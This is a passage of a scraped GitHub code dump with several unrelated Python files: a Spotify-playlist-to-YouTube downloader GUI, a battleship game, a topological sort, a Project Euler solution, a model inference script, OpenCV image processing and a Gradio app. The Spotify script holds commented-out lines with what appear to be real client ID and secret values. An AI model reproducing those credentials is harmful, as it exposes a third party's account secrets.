column=0, columnspan=2)\r\n folder = str(folder1)\r\n return folder\r\n\r\n\r\ndef callback(url):\r\n webbrowser.open_new(url)\r\n\r\n\r\ndef Print(text):\r\n str(text)\r\n TextBox.insert(END, f\"{text}\\n\")\r\n TextBox.yview(END)\r\n TextBox.pack()\r\n console1.update()\r\n print(text)\r\n\r\n\r\ndef shuffle():\r\n if videoMerge.get():\r\n checkButton3.grid(row=10, pady=(0, 20), column=0, sticky='w', padx=22)\r\n checkButton2.grid(row=9, pady=(0, 0), column=0, sticky='w', padx=22)\r\n else:\r\n checkButton3.grid_forget()\r\n checkButton2.grid(row=9, pady=(0, 20), column=0, sticky='w', padx=22)\r\n\r\n\r\ndef Info():\r\n infoScreen = Toplevel(master)\r\n infoScreen.title(\"INFO\")\r\n infoScreen.geometry(\"400x300\")\r\n f = Frame(infoScreen)\r\n f.grid(row=0, column=0)\r\n Label(f, text=\"This app based on your spotify playlist songs\\nsearches the youtube for\\nthe best sutable video\"\r\n \" resoult with or without lyrics(max 360p).\").grid(row=1, column=0)\r\n Label(f, text=\"To get client id and client secret go to webside\").grid(row=2, column=0)\r\n spot_link = Label(f, text=\"https://developer.spotify.com/dashboard\", fg=\"blue\", cursor=\"hand2\")\r\n spot_link.grid(row=3, column=0)\r\n spot_link.bind(\"\", lambda e: callback(\"https://developer.spotify.com/dashboard\"))\r\n Label(f, text=\"\\nthere you login to your spotify account and create an app\\n\"\r\n \"After creating an app you will see your client id and client secret\").grid(row=4, column=0)\r\n Label(f, text=\"To get YT API Key simply follow this tutorial:\\n\").grid(row=5, column=0)\r\n api_k = Label(f, text=\"https://www.youtube.com/watch?v=VqML5F8hcRQ\", fg=\"blue\", cursor=\"hand2\")\r\n api_k.grid(row=6, column=0)\r\n api_k.bind(\"\", lambda e: callback(\"https://www.youtube.com/watch?v=VqML5F8hcRQ\"))\r\n Label(f, text=\"I think thats all if you have any problems text me at:\\nsylwester.jarosz@spoko.pl\").grid(row=7)\r\n f.pack()\r\n\r\n\r\ndef checkandgo():\r\n global clientID\r\n global clientSecret\r\n global playlistLink\r\n global apiKey\r\n global screen1\r\n global frame\r\n clientID = clientIDb.get()\r\n clientSecret = clientSecretb.get()\r\n playlistLink = playlistLinkb.get()\r\n apiKey = apiKeyb.get()\r\n if clientID == \"\" or clientSecret == \"\" or playlistLink == \"\" or apiKey == \"\":\r\n global errorscreen\r\n errorscreen = Toplevel(master, bg=\"black\")\r\n errorscreen.geometry(\"200x50\")\r\n errorscreen.title(\"Error\")\r\n Label(errorscreen, text=\"You have to fill out all boxes\", bg=\"black\",fg=\"red\").pack()\r\n Button(errorscreen,text=\"OK\",command=del1).pack()\r\n elif len(clientID) != 32:\r\n global errorscreen2\r\n errorscreen2 = Toplevel(master, bg=\"black\")\r\n errorscreen2.geometry(\"200x70\")\r\n errorscreen2.title(\"Error\")\r\n Label(errorscreen2, text=\"Length of the clientID is incorrect\", bg=\"black\",fg=\"red\").pack()\r\n Label(errorscreen2, text=\"Correct length is 32\", bg=\"black\", fg=\"red\").pack()\r\n Button(errorscreen2, text=\"OK\", command=del2).pack()\r\n elif len(clientSecret) != 32:\r\n global errorscreen3\r\n errorscreen3 = Toplevel(master, bg=\"black\")\r\n errorscreen3.geometry(\"200x70\")\r\n errorscreen3.title(\"Error\")\r\n Label(errorscreen3, text=\"Length of the clientSecret is incorrect\", bg=\"black\",fg=\"red\").pack()\r\n Label(errorscreen3, text=\"Correct length is 32\", bg=\"black\", fg=\"red\").pack()\r\n Button(errorscreen3, text=\"OK\", command=del3).pack()\r\n elif len(playlistLink) != 82:\r\n global errorscreen4\r\n errorscreen4 = Toplevel(master, bg=\"black\")\r\n errorscreen4.geometry(\"200x70\")\r\n errorscreen4.title(\"Error\")\r\n Label(errorscreen4, text=\"Length of the playlistLink is incorrect\", bg=\"black\",fg=\"red\").pack()\r\n Label(errorscreen4, text=\"Correct length is 82\", bg=\"black\", fg=\"red\").pack()\r\n Button(errorscreen4, text=\"OK\", command=del4).pack()\r\n elif len(apiKey) != 39:\r\n global errorscreen5\r\n errorscreen5 = Toplevel(master, bg=\"black\")\r\n errorscreen5.geometry(\"200x70\")\r\n errorscreen5.title(\"Error\")\r\n Label(errorscreen5, text=\"Length of the apiKey is incorrect\", bg=\"black\", fg=\"red\").pack()\r\n Label(errorscreen5, text=\"Correct length is 39\", bg=\"black\", fg=\"red\").pack()\r\n Button(errorscreen5, text=\"OK\", command=del5).pack()\r\n elif len(folder) < 1:\r\n global errorscreen6\r\n errorscreen6 = Toplevel(master, bg=\"black\")\r\n errorscreen6.geometry(\"200x70\")\r\n errorscreen6.title(\"Error\")\r\n Label(errorscreen6, text=\"Choose the folder\", bg=\"black\", fg=\"red\").pack()\r\n Label(errorscreen6, text=\"Please :)\", bg=\"black\", fg=\"red\").pack()\r\n Button(errorscreen6, text=\"OK\", command=del6).pack()\r\n else:\r\n global console1\r\n console1 = Toplevel(master, bg=\"#313335\")\r\n # console1.geometry(\"100x500\")\r\n # console1.title(\"Logs\")\r\n # Label(console1, text=\"Console\", bg=\"black\", fg=\"red\").pack()\r\n # wrapper1 = LabelFrame(console1)\r\n # wrapper1.pack(fill=\"both\", expand=\"yes\")\r\n global TextBox\r\n console1.wm_title(\"Console\")\r\n console1.resizable(True, False)\r\n wrapper1 = LabelFrame(console1, bg='#2B2B2B')\r\n Label(console1, text=\"Console\", bg='#2B2B2B', fg=\"white\").pack()\r\n mycanvas = Canvas(wrapper1)\r\n mycanvas.pack(side=LEFT, expand=\"yes\", fill=\"both\")\r\n myframe = Frame(mycanvas)\r\n mycanvas.create_window((0, 0), window=myframe, anchor=\"nw\")\r\n wrapper1.pack(fill=\"both\", expand=\"yes\", padx=10, pady=10)\r\n TextBox = ScrolledText(mycanvas, height='10', width='10000', bg='#2B2B2B', fg=\"#FFFFFF\")\r\n console1.geometry(\"500x200\")\r\n console1.update()\r\n go()\r\n\r\n\r\ndef go():\r\n try:\r\n Print(\"Hi\")\r\n Print(\"Let's start\")\r\n authUrl = \"https://accounts.spotify.com/api/token\"\r\n authHeader = {}\r\n authData = {}\r\n\r\n # clientID = \"8b37f8bc8f3147cba5ed5a40619bc637\"\r\n # clientSecret = \"6875e6c11bb94512abe75c470a2ba26e\"\r\n\r\n def getAccessToken(clientID, clientSecret):\r\n message = f\"{clientID}:{clientSecret}\"\r\n message_bytes = message.encode('ascii')\r\n base64_bytes = base64.b64encode(message_bytes)\r\n base64_message = base64_bytes.decode('ascii')\r\n\r\n authHeader['Authorization'] = \"Basic \" + base64_message\r\n authData['grant_type'] = \"client_credentials\"\r\n\r\n ress = requests.post(authUrl, headers=authHeader, data=authData)\r\n responseObject = ress.json()\r\n # Print(json.dumps(responseObject, indent=2))\r\n\r\n accessToken = responseObject['access_token']\r\n return accessToken\r\n\r\n def getplaylisttracks(token, playlistID):\r\n playlistEndPoint = f\"https://api.spotify.com/v1/playlists/{playlistID}\"\r\n getHeader = {\r\n \"Authorization\": \"Bearer \" + token\r\n }\r\n res = requests.get(playlistEndPoint, headers=getHeader)\r\n playlisObject = res.json()\r\n\r\n return playlisObject\r\n\r\n token = getAccessToken(clientID, clientSecret)\r\n\r\n # playlistLink = \"https://open.spotify.com/playlist/0zTN7OktVtQS5sVvVIMrFz?si=J8A2kNxPQfy_kMhPmrCnAw\"\r\n playlistID = playlistLink[34:]\r\n tracklist = getplaylisttracks(token, playlistID)\r\n\r\n # Print(json.dumps(tracklist, indent=2))\r\n\r\n allTracks = 0\r\n for t in tracklist['tracks']['items']:\r\n songName = t['track']['name']\r\n allTracks += 1\r\n # Print(songName + \" lyrics\")\r\n # Print(tracklist['tracks']['items'][1]['track']['name'])\r\n Print(f\"found {allTracks} tracks\")\r\n\r\n folderName = str(tracklist['name'])\r\n folderNameNoSpaces = \"\"\r\n for i in folderName:\r\n if i == \" \":\r\n folderNameNoSpaces += \"_\"\r\n else:\r\n folderNameNoSpaces += i\r\n\r\n ytService = build('youtube', 'v3', developerKey=apiKey)\r\n # IMPORTANT LOOOOOOOOOOOP\r\n path = rf\"{folder}\\{folderNameNoSpaces}\"\r\n os.mkdir(path)\r\n fileList = []\r\n\r\n for sname in range(0, allTracks):\r\n title = f\"{tracklist['tracks']['items'][sname]['track']['name']}\"\r\n song_lang = \"\" # song language\r\n\r\n if TextBlob(title).detect_language() == \"pl\":\r\n if radio_lyrics.get():\r\n song_lang = \" tekst\"\r\n else:\r\n song_lang = \"\"\r\n else:\r\n if radio_lyrics.get():\r\n song_lang = \" lyrics\"\r\n else:\r\n song_lang = \"\"\r\n request = ytService.search().list(\r\n part='snippet',\r\n # channelId='UCvR2R7j218tzejtTsb_X6Rw',\r\n maxResults=1,\r\n order='searchSortUnspecified',\r\n q=f\"{tracklist['tracks']['items'][sname]['track']['name']} {tracklist['tracks']['items'][sname]['track']['artists'][0]['name']}{song_lang}\"\r\n\r\n )\r\n Print(f\"Executing song nr {sname + 1} title: {tracklist['tracks']['items'][sname]['track']['name']} {song_lang}\")\r\n response = request.execute()\r\n\r\n\r\n\r\n videoId = response['items'][0]['id']['videoId']\r\n ytUrl = rf\"https://www.youtube.com/watch?v={videoId}\"\r\n Print(f\"Yt link: {ytUrl}\")\r\n videoTitle = str(response['items'][0]['snippet']['title'])\r\n print(videoTitle)\r\n youtube = pytube.YouTube(ytUrl)\r\n streams = youtube.streams.filter(progressive=True).order_by('resolution')\r\n Print(f\"Download file {sname + 1} Starting\")\r\n\r\n fileName = f\"{tracklist['tracks']['items'][sname]['track']['name']} {tracklist['tracks']['items'][sname]['track']['artists'][0]['name']}\"\r\n fileNameSimple = \"\"\r\n for c in fileName:\r\n if c.isalnum():\r\n fileNameSimple += c\r\n\r\n for s in reversed(streams):\r\n\r\n # print(s)\r\n res = int(s.resolution[:-1])\r\n # print(res)\r\n if res > 360:\r\n continue\r\n else:\r\n\r\n s.download(path, filename=fileNameSimple)\r\n Print(f\"Download file {sname + 1} completed\")\r\n break\r\n if videoMerge.get():\r\n fileList.append(VideoFileClip(rf'{path}/{fileNameSimple}.mp4'))\r\n if videoMerge.get():\r\n Print(\"Merging videos Started\")\r\n if videoShuffle.get():\r\n random.shuffle(fileList)\r\n f = concatenate_videoclips(fileList)\r\n f.write_videofile(rf'{path}/merged_{folderNameNoSpaces}.mp4')\r\n Print(\"Merging videos Completed\")\r\n global completed\r\n completed = Toplevel(master)\r\n completed.geometry(\"200x70\")\r\n completed.title(\"Completed\")\r\n Label(completed, text=\"Downloading Completed\", fg=\"#5FBF3D\").pack()\r\n Label(completed, text=\"Thanks for using my program :)\", fg=\"#5FBF3D\").pack()\r\n Button(completed, text=\"OK\", command=del7).pack()\r\n except:\r\n Print(f\"Unexpected error: {sys.exc_info()[0]}\")\r\n Print(\"Error may occure in few ways:\\n1)When you ran out of youtube api Quotes\"\r\n \"\\nYoutube API allows less than 100 song per day\\n(Counter resets dayliy on hour 0:00 PT time)\\n\"\r\n \"I suggest waiting to this point or making new API key\\n\\n\"\r\n \"2)Spotify API may sometimes have some server errors\\n\"\r\n \"I suggest waiting few minutes and it should work perfectly\\n\"\r\n \"3)Check if all your informations are put correctly\\n\"\r\n \"like spotify client or secret and others\\n\\n\"\r\n \"4)Check your internet connection\\n\\n\"\r\n \"IF YOU NEED MY HELP WRITE TO ME AT:\\nsylwester.jarosz@spoko.pl\")\r\n raise\r\n\r\n\r\nmaster = Tk()\r\nmaster.title(\"Spotify to video with lyrics\")\r\nmaster.geometry(\"400x450\")\r\nframe = Frame(master)\r\n\r\nButton(frame, text='Info', command=Info)\\\r\n .grid(row=0, column=0, sticky=\"NW\")\r\n#\r\nLabel(frame, text='Spotify to lyric video', font=('Arial Bold', 16))\\\r\n .grid(row=0, column=0, columnspan=2, pady=(0, 20))\r\n#\r\nLabel(frame, text='SPOTIFY API', font=('Arial Bold', 12))\\\r\n .grid(row=1, column=0, columnspan=2)\r\n#\r\nLabel(frame, text='client ID').grid(row=2, column=0, columnspan=2)\r\nclientIDb = StringVar()\r\nEntry(frame, textvariable=clientIDb, width=\"35\").grid(row=3, column=0, columnspan=2)\r\n#\r\nLabel(frame, text='client Secret').grid(row=4, column=0, columnspan=2)\r\nclientSecretb = StringVar()\r\nEntry(frame, textvariable=clientSecretb, width=\"35\").grid(row=5, column=0, columnspan=2)\r\n#\r\nLabel(frame, text='Playlist Link').grid(row=6, column=0, columnspan=2)\r\nplaylistLinkb = StringVar()\r\nEntry(frame, textvariable=playlistLinkb, width=\"35\").grid(row=7, column=0, columnspan=2)\r\n#\r\nradio_lyrics = BooleanVar()\r\nradio_lyrics.set(False)\r\nCheckbutton(frame, text=\"Video with lyrics\", variable=radio_lyrics, offvalue=False, onvalue=True)\\\r\n .grid(row=8, column=0, sticky='w', padx=22)\r\n#\r\nvideoMerge = BooleanVar()\r\nvideoMerge.set(False)\r\ncheckButton2 = Checkbutton(frame, text=\"Merge to one video\", variable=videoMerge, offvalue=False, onvalue=True,\r\n command=shuffle)\r\ncheckButton2.grid(row=9, pady=(0, 20), column=0, sticky='w', padx=22)\r\n#\r\nvideoShuffle = BooleanVar()\r\nvideoShuffle.set(False)\r\ncheckButton3 = Checkbutton(frame, text=\"Shuffle songs\", variable=videoShuffle, offvalue=False, onvalue=True)\r\n#\r\nLabel(frame, text='YOUTUBE API', font=('Arial Bold', 12))\\\r\n .grid(row=11, column=0, columnspan=2)\r\n#\r\nLabel(frame, text='YT API Key').grid(row=12, column=0, columnspan=2)\r\napiKeyb = StringVar()\r\nEntry(frame, textvariable=apiKeyb, width=\"35\").grid(row=13, column=0, columnspan=2)\r\n#\r\nButton(frame, text='Choose folder for videos', command=choosefolder).grid(row=14, column=0, columnspan=2)\r\n#\r\nButton(frame, text=\"START IT\", command=checkandgo, width=\"37\").grid(row=15, column=0, columnspan=2)\r\n\r\nframe.pack()\r\nmaster.mainloop()\r\n","repo_name":"Silvesterrr/spotify-to-video","sub_path":"spotify-to-video.py","file_name":"spotify-to-video.py","file_ext":"py","file_size_in_byte":15169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"4903822195","text":"from time import sleep\ndef menu():\n print(\"Option 1 = New game\")\n print(\"Option 2 = Resume game\")\n print(\"Option 3 = Instructions\")\n print(\"Option 4 = Quit\")\n option = input(\"Enter option number: \")\n if option == \"1\":\n new_game() #This starts a new game\n elif option == \"2\":\n resume_game() #This resumes the previous saved game\n elif option == \"3\":\n instructions() #This opens the instructions\n menu()\n elif option == \"4\":\n print(\"Thanks for playing! Come again another time!\") #This ends the code with a goodbye message\n else:\n print(\"Invalid input.\")\n menu() #Reruns the menu code if the input was invalid\n\ndef displayboard(board):\n print(\" \", \"A\", \"│\", \"B\", \"│\", \"C\", \"│\", \"D\", \"│\", \"E\", \"│\", \"F\", \"│\", \"G\", \"│\", \"H\")\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"1\", board[0][0], \"│\", board[0][1], \"│\", board[0][2], \"│\", board[0][3], \"│\", board[0][4], \"│\", board[0][5], \"│\", board[0][6], \"│\", board[0][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"2\", board[1][0], \"│\", board[1][1], \"│\", board[1][2], \"│\", board[1][3], \"│\", board[1][4], \"│\", board[1][5], \"│\", board[1][6], \"│\", board[1][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"3\", board[2][0], \"│\", board[2][1], \"│\", board[2][2], \"│\", board[2][3], \"│\", board[2][4], \"│\", board[2][5], \"│\", board[2][6], \"│\", board[2][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"4\", board[3][0], \"│\", board[3][1], \"│\", board[3][2], \"│\", board[3][3], \"│\", board[3][4], \"│\", board[3][5], \"│\", board[3][6], \"│\", board[3][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"5\", board[4][0], \"│\", board[4][1], \"│\", board[4][2], \"│\", board[4][3], \"│\", board[4][4], \"│\", board[4][5], \"│\", board[4][6], \"│\", board[4][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"6\", board[5][0], \"│\", board[5][1], \"│\", board[5][2], \"│\", board[5][3], \"│\", board[5][4], \"│\", board[5][5], \"│\", board[5][6], \"│\", board[5][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"7\", board[6][0], \"│\", board[6][1], \"│\", board[6][2], \"│\", board[6][3], \"│\", board[6][4], \"│\", board[6][5], \"│\", board[6][6], \"│\", board[6][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n print(\"8\", board[7][0], \"│\", board[7][1], \"│\", board[7][2], \"│\", board[7][3], \"│\", board[7][4], \"│\", board[7][5], \"│\", board[7][6], \"│\", board[7][7])\n print(\" ───┼───┼───┼───┼───┼───┼───┼──\")\n\ndef empty_board(player):\n file = open(f\"battleboat{player}.csv\", \"w\")\n grid = [[\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]]\n data = \"\"\n for line in grid:\n for item in line:\n data = data + item + \",\"\n data = data + \"\\n\"\n file.write(data) #Writing the data to the board\n file.close()\n\ndef new_game():\n empty_board(\"P1\")\n empty_board(\"P2\")\n print(\"Welcome to battle boats!\")\n sleep(1)\n print(\"Here is the grid layout. This is your fleet grid:\")\n sleep(1)\n empty_board(\"P1\")\n file = open(\"battleboatP1.csv\",\"r\")\n data = []\n for line in file:\n line = line.strip(\"\\n\")\n line = line.split(\",\")\n data.append(line)\n displayboard(data) #This displays the grid layout\n sleep(3)\n print(\"Enter your five boat locations:\")\n check_space()\n check_space()\n check_space()\n check_space()\n check_space()\n\ndef check_space():\n board = displayboard\n boat = input().upper()\n for letter in boat:\n if letter == \"A\":\n column = 0\n elif letter == \"B\":\n column = 1\n elif letter == \"C\":\n column = 2\n elif letter == \"D\":\n column = 3\n elif letter == \"E\":\n column = 4\n elif letter == \"F\":\n column = 5\n elif letter == \"G\":\n column = 6\n elif letter == \"H\":\n column = 7\n elif letter == \"1\":\n row = 0\n elif letter == \"2\":\n row = 1\n elif letter == \"3\":\n row = 2\n elif letter == \"4\":\n row = 3\n elif letter == \"5\":\n row = 4\n elif letter == \"6\":\n row = 5\n elif letter == \"7\":\n row = 6\n elif letter == \"8\":\n row = 7\n boat = board[column][row]\n #This displays the board with the 'B' on it\n\ndef resume_game():\n print(\"Work in progress LOL\")\n print()\n menu()\n\ndef instructions():\n print('''Battle boats is a turn based strategy game where players eliminate their opponents fleet of boats by\n ‘firing’ at a location on a grid in an attempt to sink them. The first player to sink all of their\n opponents’ battle boats is declared the winner. \n\nEach player has two eight by eight grids. One grid is used for their own battle boats and the other is\nused to record any hits or misses placed on their opponents. At the beginning of the game, players decide where they wish to place their fleet of five battle boats. \n\nDuring game play, players take it in turns to fire at a location on their opponents board. They do this by stating the coordinates for their target. If a player hits their opponent's boat then this is recorded as a hit. If they miss then this is recorded as a miss. \n\nThe game ends when a player's fleet of boats have been sunk. The winner is the player with boats remaining at the end of the game.\n''')\n\n\nmenu()","repo_name":"17e23052/Battle-Boats","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"26843529360","text":"adj_mat = [[0, 0, 1, 1, 0, 0],\r\n [0, 0, 0, 1, 1, 0],\r\n [0, 0, 0, 1, 0, 1],\r\n [0, 0, 0, 0, 0, 1],\r\n [0, 0, 0, 0, 0, 1],\r\n [0, 0, 0, 0, 0, 0]]\r\n\r\n\r\ndef topological_sort(adj_mat):\r\n in_degrees = []\r\n stack = []\r\n answer = []\r\n\r\n for i in range(len(adj_mat)):\r\n temp = 0\r\n for col in range(len(adj_mat)):\r\n temp += adj_mat[col][i]\r\n in_degrees.append(temp)\r\n\r\n print(\"in_degrees: \", in_degrees)\r\n\r\n for i in range(len(in_degrees)):\r\n if in_degrees[i] == 0:\r\n stack.append(i)\r\n\r\n print(\"stack: \", stack)\r\n\r\n while stack:\r\n node = stack.pop()\r\n answer.append(node)\r\n print(\"pop된 노드: \", node)\r\n\r\n for i in range(len(adj_mat[node])):\r\n if adj_mat[node][i] != 0:\r\n in_degrees[i] -= 1\r\n if in_degrees[i] == 0:\r\n print(\"진입차수 0이 된 노드: \", i)\r\n stack.append(i)\r\n\r\n print(\"answer: \", answer)\r\n\r\n\r\nprint(topological_sort(adj_mat))","repo_name":"jwhwang0911/Algorithm_Study","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32278499600","text":"u = []\r\nfor i in range(1,12):\r\n new = 1 - i + i ** 2 - i ** 3 + i ** 4 - i ** 5 + i ** 6 - i ** 7 + i ** 8 - i ** 9 + i ** 10\r\n u.append(new)\r\n\r\n'''Ki hieu Sk = x1^k + x2^k + ... + xn^k\r\nTk = x1x2..xk+ ... + xn-k+1xn-k+2..xn\r\nTa co cong thuc sau Sk = T1Sk-1 - T2Sk-2 + ... + (-1)^k*T(k-1)S1 + (-1)^(k+1)*kTk'''\r\n# Ham tinh Sk theo k\r\ndef S(order, numbers):\r\n total = 0\r\n for x in numbers:\r\n total += pow(x, order)\r\n return total\r\n# Ham tinh toan bo Tk\r\ndef T(numbers):\r\n T = [1]\r\n n = len(numbers)\r\n T.append(-S(1, numbers))\r\n for i in range(2, n+1):\r\n result = S(i, numbers)\r\n for j in range(1,i):\r\n result = result + pow(-1,j)*abs(T[j])*S(i-j, numbers)\r\n result = - result // i\r\n T.append(result)\r\n return T\r\n# Ham tinh da thuc theo khai trien Lagrange bac n voi n+1 phan tu cua u\r\n# Truoc het ta tinh he so:\r\ndef coefficient(i, n):\r\n numbers = list(range(1,n+1))\r\n numbers.remove(i+1)\r\n product = 1\r\n for x in numbers:\r\n product *= (i+1 - x)\r\n coefficient = T(numbers)\r\n new_coefficient = [(x * u[i])/ product for x in coefficient]\r\n return new_coefficient\r\n# Tinh cac he so trong khai trien da thuc bac n\r\ndef lagrange(n):\r\n coef = [0 for i in range(n+1)]\r\n for i in range(0,n+1):\r\n i_coef = coefficient(i,n+1)\r\n for j in range(n+1):\r\n coef[j] += i_coef[j]\r\n return coef\r\n# Dua vao da thuc trong noi suy Lagrange ta tinh phan tu FIT\r\ndef compute_FIT(n):\r\n coef = lagrange(n)\r\n result = 0\r\n for i in range(n+1):\r\n result += pow(n+2,n-i) * coef[i]\r\n return result\r\n\r\nresult = 1\r\nfor i in range(1,10):\r\n result += compute_FIT(i)\r\nprint (round(result))\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"pratyaydeep/Python-programs","sub_path":"Problem101_ProjectEuler.py","file_name":"Problem101_ProjectEuler.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17479808834","text":"import argparse \nimport numpy as np \nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom utils import *\nfrom autolab_core import YamlConfig\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader\nfrom model.encoder import Encoder\nfrom loss import SupervisedContrastiveLoss\nfrom tensorboardX import SummaryWriter\nfrom model.poseNet import PoseNet\n\ndir_list = [\n '20221203',\n ]\n \n\ndef test(net, pose_net, val_data, loss_fn, cfg, csv_writer):\n batch_size = cfg['fine_training']['batch_size']['val']\n device = cfg['device']\n _len_val = len(val_data)\n val_data = DataLoader(val_data, batch_size=batch_size, shuffle=True, drop_last=True)\n pose_net.eval()\n net.eval()\n with torch.no_grad():\n for i, data in enumerate(val_data):\n # [B, C, H, W]\n init_img = data['init_img'].float().to(device)\n # final_img = data['final_img'].to(device)\n # [B, 7]\n init_pose = data['init_pose'].to(device)\n final_pose = data['final_pose'].to(device)\n\n # [B, 6]\n action_vector = data['action_vector'].to(device)\n\n embeddings = net(init_img, action_vector, init_pose)\n delta_predicted = pose_net(embeddings)\n delta_gt = data['delta_gt'].to(device)\n for i in range(delta_predicted.shape[0]):\n row = make_inference_row(action_vector[i], init_pose[i], delta_gt[i], delta_predicted[i])\n csv_writer.writerow(row)\n\n\n\n\nif __name__ == \"__main__\":\n \n \n parser = argparse.ArgumentParser()\n parser.add_argument('--cfg', '-c', type=str, default='config/config.yaml')\n args = parser.parse_args()\n cfg = YamlConfig(args.cfg)\n\n if cfg['debug']:\n import ipdb; ipdb.set_trace()\n\n device = torch.device(cfg['device'])\n\n if not cfg['fine_training']['use_saved_data']:\n if cfg['verbose']:\n print(\"Preprocessing data...\")\n make_data_dict(dir_list, cfg['fine_training']['save_filename'], cfg['debug'])\n if cfg['verbose']:\n print(\"Data preprocessing done !\")\n \n print(\"Loading data...\")\n data_dict, init_mean, init_std, delta_gt_mean, delta_gt_std = load_normalized_coarse_data_dict(cfg['fine_training']['save_filename'])\n data_split = cfg['data']['train_split']\n train_data, test_data = torch.utils.data.random_split(\n data_dict,\n [int(data_split*len(data_dict)), len(data_dict)-int(data_split*len(data_dict))], \n generator=torch.Generator().manual_seed(42)) \n if cfg['verbose']:\n print(\"Data loaded !\")\n \n net = Encoder(cfg).to(device)\n # load the weights from the encoder\n net.load_state_dict(torch.load(cfg['fine_training']['encoder_weights']))\n net.eval()\n # import ipdb; ipdb.set_trace()\n pose_net = PoseNet(cfg).to(device)\n pose_net.load_state_dict(torch.load(cfg['fine_training']['pose_weights']))\n loss_fn = torch.nn.MSELoss()\n optimizer = optim.Adam(pose_net.parameters(), lr=cfg['fine_training']['lr'])\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=cfg['fine_training']['epochs'])\n\n timestamp = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\n inference_file_path = f\"{cfg['fine_training']['inference_dir']}/inference_{timestamp}.csv\"\n with open(inference_file_path, 'w') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(['action_vector', 'init_pose', 'delta_gt', 'delta_predicted'])\n test(net, pose_net, test_data, loss_fn, cfg, csv_writer)\n\n","repo_name":"Skill-Learning/SymbolLearning","sub_path":"runInference.py","file_name":"runInference.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"8116158330","text":"import cv2\nimport numpy as np\n\n# 二值形态学运算\ndef morphology(img):\n kernel1 = cv2.getStructuringElement(cv2.MORPH_RECT, (20,14)) # 腐蚀矩阵\n iFushi = cv2.morphologyEx(img, cv2.MORPH_DILATE, kernel1) # 对文字腐蚀运算\n cv2.imshow('fushi', iFushi)\n\n kernel2 = cv2.getStructuringElement(cv2.MORPH_RECT, (40, 40)) # 膨胀矩阵\n iPengzhang = cv2.morphologyEx(iFushi, cv2.MORPH_ERODE, kernel2) # 对背景进行膨胀运算\n cv2.imshow('pengzhang', iPengzhang)\n\n # 背景图和二分图相减-->得到文字\n jian = np.abs(iPengzhang - img)\n cv2.imshow(\"jian\", jian)\n\n kernel3 = cv2.getStructuringElement(cv2.MORPH_RECT, (3 , 6)) # 膨胀\n iWenzi = cv2.morphologyEx(jian, cv2.MORPH_DILATE, kernel3) # 对文字进行膨胀运算\n cv2.imshow('wenzi', iWenzi)\n\nimg = cv2.imread(\"TEST.tif\")\n# 1、消除椒盐噪声：\n# 中值滤波器\nmedian = cv2.medianBlur(img, 5)\n# 消除噪声图\ncv2.imshow(\"median-image\", median)\n# 转化为灰度图\nGrayimg = cv2.cvtColor(median, cv2.COLOR_RGB2GRAY)\n# 2、直方图均衡化：\nhist = cv2.equalizeHist(Grayimg)\ncv2.imshow('hist',hist)\n# 3、二值化处理：\n# 阈值为140\nret, binary = cv2.threshold(hist, 140, 255,cv2.THRESH_BINARY)\ncv2.imshow(\"binary-image\",binary)\n# 二值形态处理\nmorphology(binary)\n\ncv2.waitKey(0)\n","repo_name":"JiangNanU-Java/Image-Processing","sub_path":"LicensePlateRecognition/view1.py","file_name":"view1.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"27"} +{"seq_id":"37381211708","text":"#import modules\nimport numpy as np\nimport gradio as gr\nimport joblib\nimport pandas as pd\nimport os\n\n\ndef load_model():\n cwd = os.getcwd()\n\n destination = os.path.join(cwd, \"saved cap\")\n\n Final_model_file_path = os.path.join(destination, \"Final_model.joblib\")\n preprocessor_file_path = os.path.join(destination, \"preprocessor.joblib\")\n \n\n Final_model = joblib.load(Final_model_file_path)\n preprocessor = joblib.load(preprocessor_file_path)\n \n\n return Final_model, preprocessor\n\nFinal_model, preprocessor = load_model()\n\n\n#define prediction function\ndef make_prediction(REGION, TENURE, MONTANT, FREQUENCE_RECH, REVENUE, ARPU_SEGMENT, FREQUENCE, DATA_VOLUME, ON_NET, ORANGE, TIGO, ZONE1, ZONE2,MRG, REGULARITY, FREQ_TOP_PACK):\n #make a dataframe from input data\n input_data = pd.DataFrame({'REGION':[REGION], \n 'TENURE':[TENURE], \n 'MONTANT':[MONTANT], \n 'FREQUENCE_RECH':[FREQUENCE_RECH], \n 'REVENUE':[REVENUE],\n 